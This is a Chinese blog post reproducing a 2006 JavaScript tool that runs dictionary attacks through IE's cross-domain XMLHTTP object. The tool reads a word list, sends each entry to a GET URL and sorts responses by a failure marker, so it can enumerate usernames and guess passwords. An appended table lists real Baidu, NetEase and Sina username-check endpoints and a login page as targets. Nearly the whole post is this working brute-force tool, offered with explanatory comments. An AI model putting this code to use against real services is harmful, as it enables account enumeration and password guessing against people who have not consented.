xmlhttp GET方式暴力破解

最新推荐文章于 2022-04-06 14:28:19 发布
最新推荐文章于 2022-04-06 14:28:19 发布
阅读量1.1k 收藏
点赞数
文章标签： xmlhttprequest input function button html javascript
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/inject2006/article/details/1793214
版权

<html>
<head>
<style>
body         { font-size: 10pt; background-color:#D4D0C8 }
td           { font-size: 9pt }
</style>
</head>

<script language="javascript">

/*
程序标题：javascript字典探测用户名工具
发布时间：2006年8月
文章作者：翟振凯 (小琦)
作者网站：http://www.xiaoqi.net   
作者论坛：http://www.tdqy.com
演示地址：http://www.xiaoqi.net/zuopin/js_user_swf.htm
QQ：22336848 53353866
关于本文：
 授人予鱼，不如授人予渔。本程序的核心代码处，都有详细的注解，
 目地是让大家了解一个程序的开发过程和这个程序功能的实现原理，
 而不仅仅是给大家提供一个这样的工具。希望看过本文后的朋友会有
 所收获，能和我共同分享用javascript编写程序的乐趣。
*/

//尝试用IE浏览器的方式创建XMLHttpRequest对象
var xmlhttp = null;
try
{
    xmlhttp = new ActiveXObject("MSXML2.XMLHTTP"); 
}
catch(e)
{
    try
    {
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    catch(e){
        alert("您的浏览器不能创建XMLHttpRequest对象，无法使用此程序!");
    }
}
//尝试用IE浏览器的方式创建XMLHttpRequest对象结束

/*
翟振凯注：MSXML2.XMLHTTP 和 Microsoft.XMLHTTP 都是微软的XMLHTTP控件，只是版本不同。
    IE的安全级别如果不是太高，微软的XMLHTTP控件是可以跨域获取数据的。
    因为 Mozilla Firefox 浏览器的 XMLHttpRequest() 不能跨域获取数据，我们就不用 XMLHttpRequest() 方法创建XMLHTTP对象了。
*/


//对返回的中文编码处理 作者：翟振凯
function Rec_Html(Html)
{
 var Rec=new ActiveXObject("ADODB.RecordSet"); 
 Rec.Fields.Append("xiaoqi",201,1); 
 Rec.Open(); 
 Rec.AddNew(); 
 Rec(0).AppendChunk(Html); 
 Rec.Update(); 
 return Rec(0).Value;
 Rec.Close();
}
//对返回的中文编码处理结束


//开始探测 参数为要探测的当前值
function geturl(id)
{
try{
           xmlhttp.open("GET",url.value+id,false);//定义数据传送方式，服务网页的URL(探测地址+探测值)，是否同步执行
           xmlhttp.onreadystatechange = function() {//xmlhttp 触发事件

          if(xmlhttp.readyState==4)//xmlhttp对象状态如果为完成
          {   
          if(xmlhttp.status==200)    //如果服务器返回的状态码为200(成功)
          { 
 
                 //对结果的中文编码转换判断
                 if(err.value.replace(/[^/W]/g,'').length=0)
                 /*关于转换判断的注：
                   例如:"翟振凯".replace(/[^/W]/g,'').length          返回结果 3
                        "翟振凯22336848".replace(/[^/W]/g,'').length  返回结果 3
                        "xiaoqi22336848".replace(/[^/W]/g,'').length  返回结果 0
                        "小琦22336848".replace(/[^/W]/g,'').length    返回结果 2
                   replace(/[^/W]/g,'')的功能是把字符串里的英文和数字都清除掉。
                  */
                    {
                            Html=xmlhttp.responseText;//不转换
                    }
                 else
                     {
                             Html=Rec_Html(xmlhttp.responseBody);//转换
                    }
                 //对结果的中文编码转换判断结束

                                       
                 // 根据判断依据区分可用或不可用的值!
                 if(Html.indexOf(err.value,0)<0)
                     {
                            x_1.innerHTML=x_1.innerHTML+"<nobr>　"+id;//输出可用值
                     }
                 else
                     {
                            x_2.innerHTML=x_2.innerHTML+"<nobr>　"+id;//输出不可用值
                     }
                 // 根据判断依据区分可用或不可用的值!
          }   
          }   
          }   
           xmlhttp.send();
          }   
catch(e)   
{
x_2.innerHTML=x_2.innerHTML+"<nobr>　"+id+"超时!";//输出异常或超时的值。
}          
}
//开始探测结束


//载入本地字典文件，并把内容定义为数组
function kaishi(){
        fileFullPath=dic_url.value;
        xmlhttp.open("GET",fileFullPath,false);//载入字典文件方法
        xmlhttp.send();

        Html=Rec_Html(xmlhttp.responseBody);//中文编码转换       
        dic=Html.split('/r/n');//以换行符将载入的字典内容转换为数组   
        sl.value=dic.length;//告诉用户要探测的次数(数组大小)

xunhuan()//成功载入后开始循环探测。
}
//载入本地字典文件，并把内容定义为数组结束


//循环探测
function xunhuan()
{
        bar=parseInt(jd.value);//将进度值转换为整数
        if(bar<sl.value)//判断是否探测完
        {
                for(i=0;i<parseInt(jc.value);i++){//设定探测线程
                        geturl(dic[bar+i]);//从数组内取值进行探测              
                }
          
                jd.value=bar+parseInt(jc.value);//累加探测进度，并向用户呈现当前进度
                setTimeout("xunhuan()",parseInt(hc.value*1000));//根据缓冲时间来进行重复循环探测       
        }
        else//如果进度不小于要探测的次数，就向用户返回探测完成的结果。
        {
                alert("探测完成!");
        }
}
//循环探测结束


//暂停探测函数
function pause(obj)
{
 if(obj.value=='暂停')
  {
  obj.temp=hc.value;//记忆原来的缓冲时间。
  hc.value=5000;//将缓冲时间设置为5000秒，这个值自己可以修改。
  obj.value='继续';//改变按钮显示状态
  }
 else
  {
  hc.value=obj.temp;//提取原来的缓冲时间。
  obj.value='暂停';//改变按钮显示状态
  kaishi()//继续探测
  }
}
//暂停探测函数结束


function ck()//单个值探测验证检查
{
 if (url.value.length<5){alert('请输入要探测地址!');return};
 if (id_one.value.length<1){alert('请输入要探测的值!');return};
 geturl(id_one.value)
}

function ck1()//批量值探测验证检查
{
    if (url.value.length<5){alert("请输入要探测地址!");return}
    if (err.value.length<1){alert("请输入不可用标记!");return}
    if (dic_url.value.length<5){alert("请先选择字典文件!");return}
    jd.value=0;
    kaishi()
}
</script>


<body>

程序作者：翟振凯&nbsp; 注：如果无法使用，或结果显示超时，请将本页下载到本地计算机上使用。
<fieldset >
<legend>探测设置</legend>
<table border="1" width="100%" bordercolorlight="#E6E6E6" cellspacing="0" bordercolordark="#D4D0C8">
 <tr>
  <td>探测地址</td>
  <td>
  <input type="text" id="url" size="63" value="http://www.xiaoqi.net/zuopin/login.asp?username=翟振凯&password="></td>
 </tr>
 <tr>
  <td>失败包涵标记 </td>
  <td><input type="text" id="err" size="63" value="不正确"></td>
 </tr>
 <tr>
  <td>测试单个值</td>
  <td><input type="text" id="id_one" size="20">
  <input type="button" value="探测" οnclick="ck();"> </td>
 </tr>
 <tr>
  <td>选择字典文件</td>
  <td><input type="file" name="dic_url" size="20" value="">
  <input type="button" value="开始" οnclick="ck1();">
  <input type="button" value="暂停" temp="" οnclick="pause(this)">
  <input type="button" value="清除可用结果" οnclick="x_1.innerHTML=''">
  <input type="button" value="清除不可用结果" οnclick="x_2.innerHTML=''">
  </td>
 </tr>
 <tr>
  <td>高级参数</td>
  <td>
  每次探测：<input type="text" id="jc" value="1" size="3"> 个&nbsp;
  缓冲时间：<input type="text" id="hc" value="0.1" size="3"> 秒&nbsp;
  进度：<input type="text" id="jd" value="0" size="12">&nbsp;
  探测数量：<input type="text" id="sl" size="13">
  </td>
 </tr>
</table>
</fieldset>

<fieldset>
<legend>可用值：</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_1"></span></div></fieldset>

<fieldset>
<legend>不可用值：</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_2"></span></div>
</fieldset>

　<p>附录：</p>
<table border="1" width="100%" id="table1" cellspacing="0" cellpadding="3">
 <tr style="font-weight: bold; background-color: #C0C0C0">
  <td width="111">测试字典文件地址</td>
  <td width="633" colspan="3"><span style="font-weight: 400">
  <font size="3">http://www.xiaoqi.net/zuopin/dic.txt</font></span></td>
 </tr>
 <tr style="font-weight: bold; background-color: #C0C0C0">
  <td width="111">网站名</td>
  <td width="435">入口</td>
  <td width="83">不可用标记</td>
  <td width="105">备注</td>
 </tr>
 <tr>
  <td width="111">百度用户注册</td>
  <td width="435">http://passport.baidu.com/?check_username&amp;un=</td>
  <td width="83">false</td>
  <td width="105">　</td>
 </tr>
 <tr>
  <td width="111">百度空间注册</td>
  <td width="435">http://hi.baidu.com/sys/checkurl/item/</td>
  <td width="83">false</td>
  <td width="105">要先用百度用户登陆</td>
 </tr>
 <tr>
  <td width="111">网易通行证注册</td>
  <td width="435">http://reg.163.com/register/checkssn.jsp?username=</td>
  <td width="83">对不起</td>
  <td width="105">　</td>
 </tr>
 <tr>
  <td width="111">新浪通行证</td>
  <td width="435">
  <input type="text" size="57" value="http://unipro.sina.com.cn/cgi-bin/t5checkuser0.cgi?encpm=96ad1b22f3b6f5d641980dd7515d40b0779972460aea0f857bfd45c63380c909382087da578a10a278fa840c6cec9cb2c933eace6ef114ae61938a14a2f9fa569f33421b346faae845af2b99a203408ef831de7de17ae6726224b2f89f65efeb089ed08084afb13b8b9232bd10a7ede7fd2a6b3d2181558bef80c3a45976850d&amp;email=&amp;password=&amp;password2=&amp;pwdQ=&amp;pwdA=&amp;sex=&amp;byear=1986&amp;bmonth=01&amp;bday=01&amp;options=&amp;outinstr=&amp;safe_num=&amp;safe_num2=&amp;identityinfo=&amp;identityNum=&amp;checkidentityNum=&amp;ismail=&amp;userid="></td>
  <td width="83">登录名被占用</td>
  <td width="105">　</td>
 </tr>
 <tr>
  <td width="111">测试网站用户密码暴力破解</td>
  <td width="435">
  http://www.xiaoqi.net/zuopin/login.asp?username=翟振凯&amp;password=</td>
  <td width="83">不正确</td>
  <td width="105">　</td>
 </tr>
 <tr>
  <td width="111">测试网站用户密码暴力破解</td>
  <td width="435">
  http://www.xiaoqi.net/zuopin/login.asp?username=小琦&amp;password=</td>
  <td width="83">不正确</td>
  <td width="105">　</td>
 </tr>
</table>
　<input type="hidden" id="dic1" value="ff"><input type="hidden" id="jc_id" value><p>
程序作者：翟振凯 开发日期：2006年8月<br>
作者网站：<a href="http://www.xiaoqi.net">http://www.xiaoqi.net</a><br>
演示地址：<a href="http://www.xiaoqi.net/zuopin/js_user_swf.htm">http://www.xiaoqi.net/zuopin/js_user_swf.htm</a><br>
程序打包下载地址：<a href="http://www.xiaoqi.net/zuopin/js_user.rar">http://www.xiaoqi.net/zuopin/js_user.rar</a><br>
QQ:22336848</p></p>

</body>

</html> 

inject2006
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
XMLHttpRequset发送GET请求
owen_william的博客
05-07 2228
1.前言 通常情况下，GET请求用于从服务器上获取数据，POST请求用于向服务器发送数据。GET请求将所有请求参数换成一个查询字符串，并将该字符串加到请求的URL之后，因而可以在请求的URL后看到请求参数名、请求参数值。如果将某个的action属性设置为GET，则请求将会将表单中各个字段名和值转换成字符串，并附加到URL之后。下面的例子，我们用GET请求将请求的ID作为参数发送，然后得到响应的信
利用XMLHTTP无刷新添加数据之Get篇.
灰豆宝宝.net的专栏
06-01 3133
利用XMLHTTP无刷新添加数据之Get篇.前两篇主要写了从获取数据.接下来,我们讲讲如何添加数据.我们传统的提交数据的方法都是用来实现的.标记中的Method属性确定了表单元素的数据在发送到服务器时,如何对HTTP请求信息进行打包.Method 属性可以使用的方法Method属性   发送表单元素的方式                              读取数据的Request集
XMLHTTP的get和post
数据库天地
11-16 190
//==================================================================//用XMLHTTP来实现Form的Method=Get.//==================================================================我们传统的提交数据的方法都是用&lt;Form&gt;来实现的.&lt...
Python编写简单GET暴力破解
qq_50620293的博客
03-24 890
最近简单学习了一下python的request模块，虽说简单，但值得实践一下，记录一下过程 靶场为dvwa简单难度的暴力破解模块 python中的request包可以对网页发送请求以及接收回应，再结合循环，以此作为暴力破解的基础 第一步，获取url 首先dvwa的暴力破解模块是get请求，所以直接先随便提交一组数据，复制它的url即可。（post暴力破解之后再做研究） http://127.0.0.1/DVWA-master/vulnerabilities/brute/?username=admin&amp
VB使用XMLHTTP实现Post与Get的方法
09-04
在VB（Visual Basic）编程中，XMLHTTP对象是用于实现HTTP请求的重要工具，它允许开发者通过编程方式发送HTTP GET和POST请求，获取服务器响应。在本文中，我们将深入探讨如何在VB中使用XMLHTTP对象来执行这两种常见的...
易语言XMLHTTP方式访问网页
08-19
XMLHTTP方式访问网页是利用XMLHttpRequest对象来实现的，这是AJAX（Asynchronous JavaScript and XML）技术中的核心组件。在易语言中，我们可以利用这个对象与服务器进行异步数据交互，实现网页的无刷新更新。易语言...
XMLHTTP方式访问网页.rar
04-05
XMLHTTP方式访问网页.rar XMLHTTP方式访问网页.rar XMLHTTP方式访问网页.rar XMLHTTP方式访问网页.rar XMLHTTP方式访问网页.rar XMLHTTP方式访问网页.rar
易语言XMLHTTP方式访问网页.rar
02-23
易语言XMLHTTP方式访问网页.rar 易语言XMLHTTP方式访问网页.rar 易语言XMLHTTP方式访问网页.rar 易语言XMLHTTP方式访问网页.rar 易语言XMLHTTP方式访问网页.rar 易语言XMLHTTP方式访问网页.rar
XMLHTTP的请求同步和异步、方法的GET和POST
freemancy的专栏
11-02 981
xmlhttp的请求同步和异步、方法的get和postPublic Function GetXml        on error resume next            Dim objXMLHTTP            Set objXMLHTTP = Server.CreateObject("Msxml2.ServerXMLHTTP")            objXMLHTTP.
XMLHttpRequest中的GET和Post
张晓
01-11 8713
看了ajax的视频后知道了传送数据有post和get两种方法，但是为什么这么用不明白，以下是我做的一点总结。 一、什么是Get和Post方式 1.Get方式      用get方式可传送简单数据，但大小一般限制在1KB下，数据追加到url中发送（http的header传送），也就是说，浏览器将各个表单字段元素及其数据按照URL参数的格式附加在请求行中的资源路径后面。另外最重要
ajax — getXMLHttpRequest
junJZ_2008的专栏
09-13 128
function getXMLHttpRequest() { var xmlHttp; try { // Firefox, Opera 8.0+, Safari xmlHttp = new XMLHttpRequest(); } catch (e) { // Internet Explorer try { //Internet Explorer 6....
AJAX中 获得 XMLHttpRequest对象 的三种方式
hmf的博客
03-06 1829
这是挺久之前的笔记，忘记是从哪位大牛笔记里面copy的了！引言：        XMLHttpRequest对象是AJax技术的核心，掌握XMLHttpRequest对象的创建对于学习AJax是必要的。下面介绍我所知道的关于XMLHttpRequest对象创建时的注意点和它的3种创建方式：        借用W3CSchool上的原话：“所有现代浏览器 (IE7+、Firefox、Chrome、S...
用XMLHttpRequest发送get请求并发送参数
weixin_48047636的博客
04-06 3571
<body> <h1>发送get请求并且发送参数</h1> <script> //1.创建对象 var xhr=new XMLHttpRequest(); //2.指定服务器地址 xhr.open('GET','http://127.0.0.1:3000/get3?name=riverrun',true); //3.发送 xhr.send();
xmlhttprequest的get post请求用法
CNZYYH的博客
03-24 2906
GET请求用法：function check(url){ var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", url, true); xmlhttp.onreadystatechange = function(){ //debugger; console.log(xmlhttp.readyState); console....
Js XMLHTTPRequest 实现GET请求提交和返回内容获取
热门推荐
u012556900的专栏
03-08 2万+
【需求描述】 在进行html5页面的设计时，希望用户加载完成页面后，进行交互时只改变其中的某些元素的内容，这样更像本地APP的呈现效果，但是HTML中的post、get如果使用submit进行提交的话会直接使用返回的内容刷新整个页面，这样有两个不好的地方： 1、返回的内容必须是整个页面都有的内容，但实际情况是仅仅需要改变页面中部分元素，这样就造成数据流量大，对服务器的性能有耗 2、用户能够明
xmlhttp.getResponseHeader
最新发布
07-15
xmlhttp.getResponseHeader方法用于获取XMLHttpRequest对象的指定响应头的值。它需要一个参数，即要获取的响应头的名称。该方法返回一个字符串，表示指定响应头的值。例如，如果要获取名为"Content-Type"的响应头的值，可以使用以下代码： ```javascript var headerValue = xmlhttp.getResponseHeader("Content-Type"); ``` 请注意，此方法只能在发送异步请求后调用，并且仅在成功接收到响应后才可用。如果未接收到响应或发生错误，该方法将返回null。 请注意，此回答基于常见的JavaScript XMLHttpRequest对象。如果您使用的是其他库或框架进行Ajax请求，可能会有不同的方法和语法。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

inject2006

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值